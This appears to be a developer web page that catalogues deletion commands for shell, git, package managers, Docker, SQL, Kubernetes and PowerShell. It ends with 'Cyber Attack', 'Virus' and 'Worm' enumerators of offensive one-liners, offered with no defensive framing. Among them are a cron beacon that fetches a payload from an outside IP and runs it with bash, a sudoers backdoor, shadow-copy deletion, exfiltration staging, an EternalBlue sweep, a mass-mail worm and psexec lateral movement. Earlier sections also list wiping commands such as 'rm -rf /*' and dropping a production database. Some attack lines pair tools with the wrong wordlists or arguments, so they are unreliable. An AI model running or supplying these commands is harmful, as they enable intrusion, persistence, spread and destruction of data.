58 commands, 8 categories

$ rm -rf /*

A catalog of commands for removing things — files, branches, containers, rows, pods, packages. Sorted by tool, tagged by how much it'll hurt.

Unix / Shell

Files, directories, and the void.
  • rm file.txt

    Remove a single file

    caution
  • rm -i *.log

    Remove files with confirmation prompt

    safe
  • rm -r folder/

    Recursively remove a directory

    caution
  • rm -rf folder/

    Force recursive removal, no prompts

    irreversible
  • rmdir empty-dir/

    Remove an empty directory

    safe
  • find . -name '*.tmp' -delete

    Delete all matching files in tree

    caution
  • shred -u secret.key

    Overwrite then unlink a file

    irreversible
  • unlink symlink

    Remove a single symbolic link

    safe

Git

Untrack, unstage, undo, unexist.
  • git rm file.txt

    Remove file from working tree and index

    caution
  • git rm --cached file.txt

    Stop tracking file, keep on disk

    safe
  • git restore --staged file.txt

    Unstage a file

    safe
  • git clean -fd

    Delete untracked files and directories

    irreversible
  • git branch -d feature

    Delete a merged local branch

    safe
  • git branch -D feature

    Force delete a local branch

    caution
  • git push origin --delete feature

    Delete a remote branch

    caution
  • git tag -d v1.0.0

    Delete a local tag

    safe
  • git stash drop stash@{0}

    Discard a single stash entry

    caution
  • git reset --hard HEAD~1

    Drop the last commit and changes

    irreversible

Node / Package Managers

Tear down dependencies.
  • npm uninstall lodash

    Remove a dependency

    safe
  • npm prune

    Remove extraneous packages

    safe
  • rm -rf node_modules package-lock.json

    Nuke installed modules + lockfile

    caution
  • bun remove react-query

    Remove a dependency with Bun

    safe
  • pnpm remove axios

    Remove a dependency with pnpm

    safe
  • yarn remove dayjs

    Remove a dependency with Yarn

    safe
  • npx npkill

    Interactively delete node_modules anywhere on disk

    caution

Docker

Containers, images, volumes, networks.
  • docker rm <container>

    Remove a stopped container

    caution
  • docker rm -f <container>

    Force remove a running container

    caution
  • docker rmi <image>

    Remove an image

    caution
  • docker volume rm <volume>

    Remove a named volume

    irreversible
  • docker network rm <network>

    Remove a network

    caution
  • docker container prune

    Remove all stopped containers

    caution
  • docker image prune -a

    Remove all unused images

    caution
  • docker system prune -a --volumes

    Remove everything unused, volumes included

    irreversible

SQL

Rows, tables, schemas, databases.
  • DELETE FROM users WHERE id = 1;

    Remove specific rows

    caution
  • DELETE FROM users;

    Remove all rows (logged, slow)

    irreversible
  • TRUNCATE TABLE users;

    Empty table fast, reset identity

    irreversible
  • DROP TABLE users;

    Remove the table entirely

    irreversible
  • DROP INDEX idx_users_email;

    Remove an index

    caution
  • DROP SCHEMA app CASCADE;

    Remove schema and everything in it

    irreversible
  • DROP DATABASE staging;

    Remove an entire database

    irreversible

Kubernetes

kubectl delete, with feeling.
  • kubectl delete pod my-pod

    Delete a pod (it may restart)

    caution
  • kubectl delete deployment api

    Delete a deployment and its pods

    caution
  • kubectl delete -f manifest.yaml

    Delete resources defined in a file

    caution
  • kubectl delete ns staging

    Delete a namespace and everything in it

    irreversible
  • kubectl delete pod my-pod --grace-period=0 --force

    Force delete a stuck pod

    caution

Linux Packages

apt, dnf, pacman, brew.
  • sudo apt remove nginx

    Remove a package, keep config

    caution
  • sudo apt purge nginx

    Remove package and its config

    caution
  • sudo apt autoremove

    Remove orphaned dependencies

    safe
  • sudo dnf remove httpd

    Remove a package on Fedora/RHEL

    caution
  • sudo pacman -Rns vim

    Remove package, deps, and config

    caution
  • brew uninstall node

    Remove a Homebrew formula

    safe
  • brew cleanup

    Remove old versions and cache

    safe

Windows / PowerShell

del, rmdir, Remove-Item.
  • del file.txt

    Delete a file (cmd)

    caution
  • rmdir /s /q folder

    Recursively delete folder, no prompt

    irreversible
  • Remove-Item .\file.txt

    Delete a file (PowerShell)

    caution
  • Remove-Item -Recurse -Force .\folder

    Force recursive delete

    irreversible
  • Get-ChildItem *.log | Remove-Item

    Pipe matches into removal

    caution
  • winget uninstall <id>

    Uninstall an app

    caution

Enumerator

Synthesize a fresh batch of removal commands from every tool, combinatorially.

  • git push origin --delete old-release

    Delete a remote branch

    caution
  • git rm --cached report.pdf

    Stop tracking, keep on disk

    safe
  • docker rmi alpine:3.10

    Remove an old image

    caution
  • Remove-Item -Recurse -Force .\build

    PowerShell recursive delete

    irreversible
  • DELETE FROM sessions WHERE created_at < NOW() - INTERVAL '90 days';

    Prune old rows

    caution

Nuke Enumerator

Mass-destruction commands. These wipe entire systems, namespaces, histories, and disks.

  • DELETE FROM users WHERE 1=1;

    Unconditionally delete all user rows

    irreversible
  • docker system prune -a --volumes -f

    Destroy all containers, images, networks, volumes

    irreversible
  • find / -name '*.log' -delete

    Purge all log files on the system

    irreversible
  • winget uninstall --all

    Uninstall every winget package

    irreversible
  • DROP DATABASE production;

    Drop the production database

    irreversible

Cyber Attack Enumerator

Enumeration and exploitation commands. Passive recon, active scanning, brute force, and payload delivery.

  • sqlmap -u "http://target.htb/?id=1" --dump

    Extract data via SQL injection

    irreversible
  • nikto -h example.com

    Web server vulnerability scan

    caution
  • nmap -A 10.10.10.10

    Aggressive scan with OS detection and scripts

    caution
  • gobuster dir -u http://corp.local -w /usr/share/wordlists/rockyou.txt

    Brute-force hidden directories

    caution
  • hashcat -m 0 -a 0 hashes.txt /usr/share/seclists/Discovery/Web-Content/common.txt

    Crack password hashes offline

    irreversible

Virus Enumerator

Malware patterns: droppers, persistence, exfiltration, ransomware staging, and fork bombs.

  • vssadmin delete shadows /all /quiet

    Erase Volume Shadow Copies (ransomware staging)

    irreversible
  • schtasks /create /sc minute /mo 5 /tn 'WindowsUpdate' /tr C:\Users\Public\update.scr

    Scheduled task persistence

    irreversible
  • echo 'ALL ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

    Backdoor passwordless sudo

    irreversible
  • find / -name '*.docx' -exec cp {} /tmp/exfil/ \;

    Stage documents for exfiltration

    irreversible
  • (crontab -l; echo '* * * * * curl -s http://10.10.14.3/stage2 | bash') | crontab -

    Persist via cron beacon

    irreversible

Worm Enumerator

Self-propagating malware patterns: lateral movement, auto-infection, persistence, and network spread.

  • cat emails.txt | while read e; do echo 'See attached' | mail -A payload.py -s 'Invoice' $e; done

    Mass-mail worm attachment

    irreversible
  • schtasks /create /s 192.168.1.0/24 /tn 'SystemUpdate' /tr 'C:\Windows\update.bin' /sc onlogon /ru SYSTEM

    Scheduled task worm persistence on remote machine

    irreversible
  • msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 172.16.0.0/12; run'

    EternalBlue SMB worm propagation

    irreversible
  • psexec target.local -u root -p password -d c:/windows/update.bin

    PSExec lateral movement to remote host

    irreversible
  • echo '[autorun]' > /mnt/usb/autorun.inf && echo 'open=payload.py' >> /mnt/usb/autorun.inf

    USB autorun worm payload

    irreversible